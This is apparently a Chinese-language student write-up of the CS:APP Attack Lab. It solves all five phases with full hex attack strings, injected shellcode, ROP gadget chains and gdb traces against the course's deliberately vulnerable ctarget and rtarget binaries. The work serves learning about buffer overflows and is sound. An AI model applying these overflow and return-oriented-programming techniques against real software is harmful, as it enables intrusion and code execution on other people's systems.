TOC
Open TOC
Attack Lab
前言
由于 Ubuntu21.04
在调试 ctarget
时会出现如下的未知问题:
(gdb) run -q
Starting program: /home/vgalaxy/Lab/target1/ctarget -q
Cookie: 0x59b997fa
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7e3a399 in __vfprintf_internal (s=0x7ffff7fa76c0 <_IO_2_1_stdout_>, format=0x4032b4 "Type string:",
ap=ap@entry=0x5561dbd8, mode_flags=mode_flags@entry=2) at vfprintf-internal.c:1385
1385 vfprintf-internal.c: No such file or directory.
所以实际的调试工作在 Debian10.10
上进行,而笔记的记录仍然在 Ubuntu21.04
上进行。
Debian10.10
没空间(不会)装输入法🤣
准备工作
下载对应的 tar
包,下面是各个文件的描述:
README.txt: A file describing the contents of the directory
ctarget: An executable program vulnerable to code-injection attacks
rtarget: An executable program vulnerable to return-oriented-programming attacks
cookie.txt: An 8-digit hex code that you will use as a unique identifier in your attacks
farm.c: The source code of your target's "gadget farm", which you will use in generating return-oriented-programming attacks
hex2raw: A utility to generate attack strings
实际上对于我们这些 Self-Study
的同学而言,cookie.txt
的内容都是一样的 🤣
对于详细的实验指导,需要阅读 Writeup 。
之前竟然没有发现🤣
总体来说,本次 Lab
共有五个阶段,前三个阶段是攻击 ctarget
程序,后两个阶段是攻击 rtarget
程序。下面分阶段讲解。
阶段一
实验指导指出,我们的目标是利用缓冲区溢出攻击的方法,让 test
函数中调用的 getbuf
函数返回到 touch1
函数(而非原来 test
函数):
void test ()
{
int val;
val = getbuf ();
printf ( "No exploit. Getbuf returned 0x %x \n " , val);
}
unsigned getbuf ()
{
char buf [BUFFER_SIZE];
Gets (buf);
return 1 ;
}
void touch1 ()
{
vlevel = 1 ; /* Part of validation protocol */
printf ( "Touch1!: You called touch1() \n " );
validate ( 1 );
exit ( 0 );
}
getbuf
函数中调用的 Gets
函数类似于标准库中的有缺陷的 gets
函数。
通过反汇编 ctarget
可知,ctarget
调用的 test
函数的轨迹大概是:main → stable_launch → launch → test
,不过这似乎并不重要 🤣。
首先 getbuf
函数处打断点 getbuf: 0x4017b9
,感受一下我们的攻击字符串是如何占据栈空间的:
0000000000401968 <test>:
401968: 48 83 ec 08 sub $0x8,%rsp
40196c: b8 00 00 00 00 mov $0x0,%eax
401971: e8 32 fe ff ff call 4017a8 <getbuf>
401976: 89 c2 mov %eax,%edx
401978: be 88 31 40 00 mov $0x403188,%esi
40197d: bf 01 00 00 00 mov $0x1,%edi
401982: b8 00 00 00 00 mov $0x0,%eax
401987: e8 64 f4 ff ff call 400df0 <__printf_chk@plt>
40198c: 48 83 c4 08 add $0x8,%rsp
401990: c3 ret
401991: 90 nop
401992: 90 nop
401993: 90 nop
401994: 90 nop
401995: 90 nop
401996: 90 nop
401997: 90 nop
401998: 90 nop
401999: 90 nop
40199a: 90 nop
40199b: 90 nop
40199c: 90 nop
40199d: 90 nop
40199e: 90 nop
40199f: 90 nop
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 call 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 ret
4017be: 90 nop
4017bf: 90 nop
注意我们在 run
的时候要加上参数 -q
,避免和不存在的服务器通信。
(gdb) break * 0x4017b9
(gdb) run -q
我们随便输入一个攻击字符串 12345678
。在 getbuf: 0x4017b9
处,寄存器 rsp
的值为 0x5561dc78
,我们观察周围的内存空间情况:
(gdb) x/32wx 0x5561dc50
0x5561dc50: 0x00401a8a 0x00000000 0x55586000 0x00000000
0x5561dc60: 0x55685fe8 0x00000000 0x00000002 0x00000000
0x5561dc70: 0x004017b4 0x00000000 0x34333231 0x38373635
0x5561dc80: 0x00000000 0x00000000 0x00000000 0x00000000
0x5561dc90: 0x00000000 0x00000000 0x55586000 0x00000000
0x5561dca0: 0x00401976 0x00000000 0x00000002 0x00000000
0x5561dcb0: 0x00401f24 0x00000000 0x00000000 0x00000000
0x5561dcc0: 0xf4f4f4f4 0xf4f4f4f4 0xf4f4f4f4 0xf4f4f4f4
这里几个地址的含义为:
0x4017b4: getbuf → Gets
后的返回地址
0x401976: test → getbuf
后的返回地址
0x401f24: launch → test
后的返回地址
我们可以定位到 touch1
函数的位置在地址 0x4017c0
处:
00000000004017c0 <touch1>:
4017c0: 48 83 ec 08 sub $0x8,%rsp
4017c4: c7 05 0e 2d 20 00 01 movl $0x1,0x202d0e(%rip) # 6044dc <vlevel>
4017cb: 00 00 00
4017ce: bf c5 30 40 00 mov $0x4030c5,%edi
4017d3: e8 e8 f4 ff ff call 400cc0 <puts@plt>
4017d8: bf 01 00 00 00 mov $0x1,%edi
4017dd: e8 ab 04 00 00 call 401c8d <validate>
4017e2: bf 00 00 00 00 mov $0x0,%edi
4017e7: e8 54 f6 ff ff call 400e40 <exit@plt>
所以我们只要让攻击字符串覆盖掉返回地址 0x401976
即可。为此,我们使用工具 hex2raw
:
$ vi phase1
$ cat phase1
31 32 33 34 35 36 37 38
31 32 33 34 35 36 37 38
31 32 33 34 35 36 37 38
31 32 33 34 35 36 37 38
31 32 33 34 35 36 37 38
c0 17 40
$ ./hex2raw < phase1 > phase1-raw
注意字节顺序:小端法,最低有效字节在最前面(地址小)
这次再调试时,注意再加上一个参数 -i
,代表攻击字符串从文件中读取:
(gdb) run -q -i phase1-raw
我们再次观察周围的内存空间情况:
(gdb) x/32wx 0x5561dc50
0x5561dc50: 0x00401a8a 0x00000000 0x55586000 0x00000000
0x5561dc60: 0x55685fe8 0x00000000 0x00000004 0x00000000
0x5561dc70: 0x004017b4 0x00000000 0x34333231 0x38373635
0x5561dc80: 0x34333231 0x38373635 0x34333231 0x38373635
0x5561dc90: 0x34333231 0x38373635 0x34333231 0x38373635
0x5561dca0: 0x004017c0 0x00000000 0x00000009 0x00000000
0x5561dcb0: 0x00401f24 0x00000000 0x00000000 0x00000000
0x5561dcc0: 0xf4f4f4f4 0xf4f4f4f4 0xf4f4f4f4 0xf4f4f4f4
返回地址已经被覆盖了,我们退出 gdb
来测试一下:
$ ./ctarget -q -i phase1-raw
Cookie: 0x59b997fa
Touch1!: You called touch1 ()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213 -f15
lab attacklab
result 1 :PASS:0xffffffff:ctarget:1:31 32 33 34 35 36 37 38 31 32 33 34 35 36 37 38 31 32 33 34 35 36 37 38 31 32 33 34 35 36 37 38 31 32 33 34 35 36 37 38 C0 17 40
( ^_^ ) 不错嘛。
回到之前的内存空间,我们来详细解读一下,这是攻击字符串为 12345678
的情形:
(gdb) x/32wx 0x5561dc50
0x5561dc50: 0x00401a8a 0x00000000 0x55586000 0x00000000
0x5561dc60: 0x55685fe8 0x00000000 0x00000002 0x00000000
0x5561dc70: 0x004017b4 0x00000000 0x34333231 0x38373635
0x5561dc80: 0x00000000 0x00000000 0x00000000 0x00000000
0x5561dc90: 0x00000000 0x00000000 0x55586000 0x00000000
0x5561dca0: 0x00401976 0x00000000 0x00000002 0x00000000
0x5561dcb0: 0x00401f24 0x00000000 0x00000000 0x00000000
0x5561dcc0: 0xf4f4f4f4 0xf4f4f4f4 0xf4f4f4f4 0xf4f4f4f4
getbuf
函数的栈帧共有 48
字节。数组 buf
的起始地址为 0x5561dc78
(也就是 getbuf: 0x4017b9
处寄存器 rsp
的值),大小为 32
个字节。在地址 0x5561dc98
处保存了某个东西,占用 8
个字节。与 getbuf: 0x4017a8
处一致:
4017a8: 48 83 ec 28 sub $0x28,%rsp
0x5561dc70
处存放调用 Gets
函数后的返回地址,占用 8
个字节。
test
函数的栈帧共有 16
字节。0x5561dca8
处保存了某个东西,占用 8
个字节,这与 test: 0x401968
处一致:
401968: 48 83 ec 08 sub $0x8,%rsp
0x5561dca0
处存放调用 getbuf
函数后的返回地址,占用 8
个字节。
其余的内存空间情况:
0x5561dcb0
处存放 launch
函数调用 test
函数后的返回地址
地址 ≥ 0x5561dcc0
的部分有一些奇怪的东西 🤣
地址 ≤ 0x5561dc70
的部分是 Gets 函数的栈帧
阶段二
实验指导指出,我们的目标是利用缓冲区溢出攻击的方法,让 test
函数中调用的 getbuf
函数返回到 touch2
函数(而非原来 test
函数),并且 touch2
函数有一个参数 val
:
void touch2 ( unsigned val )
{
vlevel = 2 ; /* Part of validation protocol */
if (val == cookie) {
printf ( "Touch2!: You called touch2(0x %.8x ) \n " , val);
validate ( 2 );
} else {
printf ( "Misfire: You called touch2(0x %.8x ) \n " ,val);
fail ( 2 );
}
exit ( 0 );
}
类似阶段一,我们可以定位到 touch2
函数的位置在地址 0x4017ec
处:
00000000004017ec <touch2>:
4017ec: 48 83 ec 08 sub $0x8,%rsp
4017f0: 89 fa mov %edi,%edx
4017f2: c7 05 e0 2c 20 00 02 movl $0x2,0x202ce0(%rip) # 6044dc <vlevel>
4017f9: 00 00 00
4017fc: 3b 3d e2 2c 20 00 cmp 0x202ce2(%rip),%edi # 6044e4 <cookie>
401802: 75 20 jne 401824 <touch2+0x38>
401804: be e8 30 40 00 mov $0x4030e8,%esi
401809: bf 01 00 00 00 mov $0x1,%edi
40180e: b8 00 00 00 00 mov $0x0,%eax
401813: e8 d8 f5 ff ff call 400df0 <__printf_chk@plt>
401818: bf 02 00 00 00 mov $0x2,%edi
40181d: e8 6b 04 00 00 call 401c8d <validate>
401822: eb 1e jmp 401842 <touch2+0x56>
401824: be 10 31 40 00 mov $0x403110,%esi
401829: bf 01 00 00 00 mov $0x1,%edi
40182e: b8 00 00 00 00 mov $0x0,%eax
401833: e8 b8 f5 ff ff call 400df0 <__printf_chk@plt>
401838: bf 02 00 00 00 mov $0x2,%edi
40183d: e8 0d 05 00 00 call 401d4f <fail>
401842: bf 00 00 00 00 mov $0x0,%edi
401847: e8 f4 f5 ff ff call 400e40 <exit@plt>
若我们简单的修改攻击字符串中的返回地址,我们无法保证传递给 touch2
函数的参数 val
(保存在寄存器 rdi
中)与我们的 cookie
相同。因而我们需要插入一段攻击代码。大体思路是让 getbuf
函数返回到我们攻击代码的首地址处,攻击代码设置寄存器 rdi 的值为 cookie,并返回到 touch2
函数。
寄存器 rdi
的值即 touch2
函数的第一个参数值
为此我们需要手写汇编代码,通过 gcc
编译后再反汇编得到对应的字节表示:
$ vi code.s
$ gcc -c code.s
$ objdump -d code.o > code.d
$ cat code.d
code.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa ,%rdi
7: 68 ec 17 40 00 pushq $0x4017ec
c: c3 retq
注意这里常数前的 $
,否则会触发段错误
下面的问题是如何获得攻击代码的首地址,显然我们无法直接修改 ctarget
文件,我们能够修改其运行时内存空间的唯一方法便是攻击字符串。为此,我们将攻击代码编码到攻击字符串中 :
$ vi phase2
$ cat phase2
48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55
$ ./hex2raw < phase2 > phase2-raw
这里的返回地址 0x5561dc78
便是 buf
字节数组的首地址。
在断点 getbuf: 0x4017b9
调试可得:
(gdb) x/32wx 0x5561dc50
0x5561dc50: 0x00401a8a 0x00000000 0x55586000 0x00000000
0x5561dc60: 0x55685fe8 0x00000000 0x00000004 0x00000000
0x5561dc70: 0x004017b4 0x00000000 0xfac7c748 0x6859b997
0x5561dc80: 0x004017ec 0x000000c3 0x00000000 0x00000000
0x5561dc90: 0x00000000 0x00000000 0x00000000 0x00000000
0x5561dca0: 0x5561dc78 0x00000000 0x00000009 0x00000000
0x5561dcb0: 0x00401f24 0x00000000 0x00000000 0x00000000
0x5561dcc0: 0xf4f4f4f4 0xf4f4f4f4 0xf4f4f4f4 0xf4f4f4f4
返回地址已经被覆盖了,我们退出 gdb
来测试一下:
$ ./ctarget -q -i phase2-raw
Cookie: 0x59b997fa
Touch2!: You called touch2 ( 0x59b997fa )
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213 -f15
lab attacklab
result 1 :PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55
没有问题。
下面来详细分析攻击代码的行为。我们在 getbuf: 0x4017b9
处设置断点,并步入攻击代码(直接在 ??: 0x5561dc78
处设置断点无效)。当 getbuf
函数返回到我们攻击代码的首地址处 ??: 0x5561dc78
时,此时寄存器 rsp
的值为 0x5561dca8
(getbuf: 0x4017b9
处寄存器 rsp
的值为 0x5561dc78
,getbuf: 0x4017b9
将寄存器 rsp
加上 0x28
,ret
语句将寄存器 rsp
加上 0x8
)。
(gdb) nexti
0x000000005561dc78 in ?? ()
(gdb) info registers
rax 0x1 1
rbx 0x55586000 1431855104
rcx 0x6068cd 6318285
rdx 0xa 10
rsi 0x35 53
rdi 0x606260 6316640
rbp 0x55685fe8 0x55685fe8
rsp 0x5561dca8 0x5561dca8
r8 0x3 3
r9 0x77 119
r10 0x606010 6316048
r11 0x246 582
r12 0x4 4
r13 0x0 0
r14 0x0 0
r15 0x0 0
rip 0x5561dc78 0x5561dc78
eflags 0x216 [ PF AF IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
??: 0x5561dc78
将寄存器 rdi
的值设置为 0x59b997fa
:
(gdb) nexti
0x000000005561dc7f in ?? ()
(gdb) info registers
rax 0x1 1
rbx 0x55586000 1431855104
rcx 0x6068cd 6318285
rdx 0xa 10
rsi 0x35 53
rdi 0x59b997fa 1505335290
rbp 0x55685fe8 0x55685fe8
rsp 0x5561dca8 0x5561dca8
r8 0x3 3
r9 0x77 119
r10 0x606010 6316048
r11 0x246 582
r12 0x4 4
r13 0x0 0
r14 0x0 0
r15 0x0 0
rip 0x5561dc7f 0x5561dc7f
eflags 0x216 [ PF AF IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
或者不使用硬编码,通过访问 cookie
存储的地址来进行赋值:
(gdb) x 0x6044e4
0x6044e4 <cookie>: 0x59b997fa
??: 0x5561dc7f
将返回地址压栈,寄存器 rsp
减去 0x8
,此时寄存器 rsp
所指向的地址即为 touch2
函数的首地址:
(gdb) nexti
0x000000005561dc84 in ?? ()
(gdb) info registers
rax 0x1 1
rbx 0x55586000 1431855104
rcx 0x6068cd 6318285
rdx 0xa 10
rsi 0x35 53
rdi 0x59b997fa 1505335290
rbp 0x55685fe8 0x55685fe8
rsp 0x5561dca0 0x5561dca0
r8 0x3 3
r9 0x77 119
r10 0x606010 6316048
r11 0x246 582
r12 0x4 4
r13 0x0 0
r14 0x0 0
r15 0x0 0
rip 0x5561dc84 0x5561dc84
eflags 0x216 [ PF AF IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
(gdb) x/32wx 0x5561dc50
0x5561dc50: 0x00401a8a 0x00000000 0x55586000 0x00000000
0x5561dc60: 0x55685fe8 0x00000000 0x00000004 0x00000000
0x5561dc70: 0x004017b4 0x00000000 0xfac7c748 0x6859b997
0x5561dc80: 0x004017ec 0x000000c3 0x00000000 0x00000000
0x5561dc90: 0x00000000 0x00000000 0x00000000 0x00000000
0x5561dca0: 0x004017ec 0x00000000 0x00000009 0x00000000
0x5561dcb0: 0x00401f24 0x00000000 0x00000000 0x00000000
0x5561dcc0: 0xf4f4f4f4 0xf4f4f4f4 0xf4f4f4f4 0xf4f4f4f4
阶段三
实验指导指出,我们的目标是利用缓冲区溢出攻击的方法,让 test
函数中调用的 getbuf
函数返回到 touch3
函数(而非原来 test
函数),并且 touch3
函数有一个参数 sval
:
void touch3 ( char * sval )
{
vlevel = 3 ; /* Part of validation protocol */
if ( hexmatch (cookie, sval)) {
printf ( "Touch3!: You called touch3( \" %s \" ) \n " ,sval);
validate ( 3 );
} else {
printf ( "Misfire: You called touch3( \" %s \" ) \n " ,sval);
fail ( 3 );
}
exit ( 0 );
}
/* Compare string to hex represention of unsigned value */
int hexmatch ( unsigned val , char * sval )
{
char cbuf [ 110 ];
/* Make position of check string unpredictable */
char* s = cbuf + random () % 100 ;
sprintf (s, " %.8x " , val);
return strncmp (sval, s, 9 ) == 0 ;
}
touch3
函数的首地址为 0x4018fa
:
00000000004018fa <touch3>:
4018fa: 53 push %rbx
4018fb: 48 89 fb mov %rdi,%rbx
4018fe: c7 05 d4 2b 20 00 03 movl $0x3,0x202bd4(%rip) # 6044dc <vlevel>
401905: 00 00 00
401908: 48 89 fe mov %rdi,%rsi
40190b: 8b 3d d3 2b 20 00 mov 0x202bd3(%rip),%edi # 6044e4 <cookie>
401911: e8 36 ff ff ff call 40184c <hexmatch>
401916: 85 c0 test %eax,%eax
401918: 74 23 je 40193d <touch3+0x43>
40191a: 48 89 da mov %rbx,%rdx
40191d: be 38 31 40 00 mov $0x403138,%esi
401922: bf 01 00 00 00 mov $0x1,%edi
401927: b8 00 00 00 00 mov $0x0,%eax
40192c: e8 bf f4 ff ff call 400df0 <__printf_chk@plt>
401931: bf 03 00 00 00 mov $0x3,%edi
401936: e8 52 03 00 00 call 401c8d <validate>
40193b: eb 21 jmp 40195e <touch3+0x64>
40193d: 48 89 da mov %rbx,%rdx
401940: be 60 31 40 00 mov $0x403160,%esi
401945: bf 01 00 00 00 mov $0x1,%edi
40194a: b8 00 00 00 00 mov $0x0,%eax
40194f: e8 9c f4 ff ff call 400df0 <__printf_chk@plt>
401954: bf 03 00 00 00 mov $0x3,%edi
401959: e8 f1 03 00 00 call 401d4f <fail>
40195e: bf 00 00 00 00 mov $0x0,%edi
401963: e8 d8 f4 ff ff call 400e40 <exit@plt>
我们需要在寄存器 rdi
中存放 cookie
对应的字符串的首地址。现在的问题是字符串的首地址如何选取 。
起初我的想法是将地址 0x5561dc90
作为字符串的首地址:
$ cat code.d
code.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 90 dc 61 55 mov $0x5561dc90 ,%rdi
7: 68 fa 18 40 00 pushq $0x4018fa
c: c3 retq
$ cat phase3
48 c7 c7 90 dc 61 55 68 fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
35 39 62 39 39 37 66 61
00 00 00 00 00 00 00 00
78 dc 61 55
然而实际调试中发现,调用链 touch3 → hexmatch → sprintf
会破坏地址 ≤ 0x5561dca8
的内存空间(这是因为从地址 0x5561dca0
得到 getbuf
函数的返回地址后,寄存器 rsp
加上 0x8
,控制转移给 touch3
函数,而 touch3
函数中还调用了 hexmatch
函数,栈便会向低地址方向增长)。
若将字符串存放在 0x5561dca4
或 0x5561dcb4
处,会触发段错误(返回地址读取 8 个字节)。
若将字符串存放在 0x5561dca8
或 0x5561dcb8
处,会少一个末尾的 0
,硬要加上又会破坏调用链。
综上可知,只能将字符串存放在 0x5561dcc0
处(覆盖掉一些无意义的内容):
$ cat code.d
code.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 c0 dc 61 55 mov $0x5561dcc0 ,%rdi
7: 68 fa 18 40 00 pushq $0x4018fa
c: c3 retq
$ cat phase3
48 c7 c7 c0 dc 61 55 68 fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
00 00 00 00 00 00 00 00
24 1 f 40 00 00 00 00 00
00 00 00 00 00 00 00 00
35 39 62 39 39 37 66 61 00
我们保留 launch
函数调用 test
函数后的返回地址。
在断点 getbuf: 0x4017b9
调试可得:
(gdb) x/32wx 0x5561dc50
0x5561dc50: 0x00401a8a 0x00000000 0x55586000 0x00000000
0x5561dc60: 0x55685fe8 0x00000000 0x00000004 0x00000000
0x5561dc70: 0x004017b4 0x00000000 0xc0c7c748 0x685561dc
0x5561dc80: 0x004018fa 0x000000c3 0x00000000 0x00000000
0x5561dc90: 0x00000000 0x00000000 0x00000000 0x00000000
0x5561dca0: 0x5561dc78 0x00000000 0x00000000 0x00000000
0x5561dcb0: 0x00401f24 0x00000000 0x00000000 0x00000000
0x5561dcc0: 0x39623935 0x61663739 0xf4f40000 0xf4f4f4f4
(gdb) x/s 0x5561dcc0
0x5561dcc0: "59b997fa"
来测试一下:
$ ./ctarget -q -i phase3-raw
Cookie: 0x59b997fa
Touch3!: You called touch3 ( "59b997fa" )
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213 -f15
lab attacklab
result 1 :PASS:0xffffffff:ctarget:3:48 C7 C7 C0 DC 61 55 68 FA 18 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 00 00 00 00 00 00 00 00 24 1 F 40 00 00 00 00 00 00 00 00 00 00 00 00 00 35 39 62 39 39 37 66 61 00
没有问题。第一部分 Code Injection Attacks 到此结束 🤣。
阶段四
阶段四的目标与阶段二相同,只不过这次我们要攻击 rtarget
程序。
如果我们仍然使用阶段二的攻击字符串,会触发段错误:
(gdb) break * 0x4017b9
Breakpoint 1 at 0x4017b9: file buf.c, line 16.
(gdb) run -q -i phase2-raw
Starting program: /home/galaxy/Desktop/target1/rtarget -q -i phase2-raw
Cookie: 0x59b997fa
Breakpoint 1, 0x00000000004017b9 in getbuf () at buf.c:16
16 buf.c: No such file or directory.
(gdb) x/32wx 0x5561dc50
0x5561dc50: Cannot access memory at address 0x5561dc50
(gdb) continue
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x000000005561dc78 in ?? ()
(gdb) continue
Continuing.
Ouch!: You caused a segmentation fault!
Better luck next time
FAIL: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:FAIL:0xffffffff:rtarget:0:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55
[Inferior 1 (process 2258) exited with code 01]
这是因为,相较于 ctarget
程序,rtarget
程序多了两项保护措施:
It uses randomization so that the stack positions differ from one run to another. This makes it impossible to determine where your injected code will be located.
It marks the section of memory holding the stack as nonexecutable, so even if you could set the program counter to the start of your injected code, the program would fail with a segmentation fault.
所以寄存器 rsp
的值不确定了,即使我们能够定位 rsp
,编码在攻击字符串中的攻击代码也没有权限被执行。
所以我们要使用新的攻击方式,简单来说,我们要利用 rtarget
程序原来就有的代码段来组织我们的攻击代码 。举个例子,在 rtarget
程序中有这样一段与主程序无关的代码:
unsigned addval_273 ( unsigned x )
{
return x + 3284633928 U ;
}
这段代码也被额外保存在了 farm.c
文件中
看似平平无奇,然而反汇编后,可以得到
00000000004019a0 <addval_273>:
4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
4019a6: c3 ret
如果我们从地址 0x4019a2
开始解释代码的含义,也就是:
4019a2: 48 89 c7 movq %rax,%rdi
4019a5: c3 ret
指令编码见实验指导中的 Figure 3
唔!似乎是有点用的。官方称这段代码中包含一个 gadget
,其首地址便是 0x4019a2
。前面的 farm.c
文件便是 gadget
的 farm
。
于是,我们需要使用这些 gadgets
构造出与阶段二的攻击代码语义相同 的指令序列:
mov $0x59b997fa,%rdi
pushq $0x4017ec
retq
实验指导指出,我们所需的 gadgets
在 farm.c
文件中 start_farm
函数和 mid_farm
函数之间,并且只需要两个 gadgets
,需要的指令也只有下面四种:
movq
popq
ret: 编码为 0xc3
nop: 编码为 0x90
经过一番对比,可知我们需要下面两个函数:
00000000004019a0 <addval_273>:
4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
4019a6: c3 ret
00000000004019a7 <addval_219>:
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
4019ad: c3 ret
思路是让 getbuf
函数返回到 0x4019ab
处,执行指令:
这里解释一下 popq
的作用,在得到 0x4019ab
的返回地址后,rsp
加上 8
,此时 popq
的值便是 0x4019ab
的返回地址的高 8
个字节,我们在此存放 cookie
值(不允许执行代码,读取数据还是可行的 🤣)。
然后控制转移到 0x4019a2
处,执行指令,将 cookie
值放入寄存器 rdi
中:
然后控制转移到 0x4019ec
处,即 touch2
函数的位置。
于是我们的攻击字符串为:
$ cat phase4
48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
a2 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00
最开始的一段字节可以忽略其意义 🤣
测试一下:
$ ./rtarget -q -i phase4-raw
Cookie: 0x59b997fa
Touch2!: You called touch2 ( 0x59b997fa )
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213 -f15
lab attacklab
result 1 :PASS:0xffffffff:rtarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 AB 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 A2 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00
没有问题。
阶段五
阶段四的目标与阶段三相同,只不过这次我们要攻击 rtarget
程序。
实验指导指出,我们所需的 gadgets
在 farm.c
文件中 start_farm
函数和 end_farm
函数之间。因此,除了阶段四的四种指令,我们还多出了下面两种指令:
movl
一些 functional nops ,如 andb %al,%al
,它们不改变寄存器或内存的值
问题仍然是在哪里保存 cookie
字符串。起初我的想法是找到一个 gadget
,其指令序列为先 mov
寄存器 rsp
到某个寄存器,然后 popq
将 rsp
加上 8
(避免让编码的字符串作为返回地址),最后返回,字符串就保存在返回地址的前面 8
个字节中,并且还要求返回地址的低 2
个字节为 00
,作为字符串的结尾。
然而找遍了 farm
也没有符合上述要求的 gadget
🤣。于是换个思路,考虑 farm
中的 add_xy
函数,其反汇编代码为:
00000000004019d6 <add_xy>:
4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
4019da: c3 ret
我们可以完整 利用这个函数。考虑在某个时刻保存寄存器 rsp
的值,计算存放 cookie
字符串的首地址与当时寄存器 rsp
的偏移量 ,并硬编码在攻击字符串中。这样通过调用 add_xy
函数,存放 cookie
字符串的首地址便在寄存器 rax
中了。
于是我们分为六步进行,之所以要用这么多 mov
指令,是因为 farm
中只提供了这些可用的 gadgets
🤣:
rsp → rax → rdi
,这里的箭头均代表 movq
指令
popq %rax
,寄存器 rax
的值即为偏移量
eax → edx → ecx → esi
,这里的箭头均代表 movl
指令
lea (%rdi, %rsi, 1),%rax
rax → rdi
,这里的箭头代表 movq
指令
调用 touch3
函数
movl
指令会将目的寄存器的高 4
个字节置 0
,不过这里的偏移量并不大,使用低 4
个字节表示足够表示了 🤣
对应的,我们可以写出攻击字符串:
$ cat phase5
48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
06 1 a 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
ab 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00
42 1 a 40 00 00 00 00 00
34 1 a 40 00 00 00 00 00
13 1 a 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61 00
这里的偏移量为 0x48
,当时寄存器 rsp
的值即为 a2 19 40 00 00 00 00 00
这一行(第一次出现),由此往下数 9
行就可以看到编码后的 cookie
字符串。
来测试一下:
$ ./rtarget -q -i phase5-raw
Cookie: 0x59b997fa
Touch3!: You called touch3 ( "59b997fa" )
Valid solution for level 3 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213 -f15
lab attacklab
result 1 :PASS:0xffffffff:rtarget:3:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 1 A 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 AB 19 40 00 00 00 00 00 48 00 00 00 00 00 00 00 42 1 A 40 00 00 00 00 00 34 1 A 40 00 00 00 00 00 13 1 A 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 00
没有问题,于是第二部分 Return-Oriented Programming 到此结束 🤣
完结撒花 🤗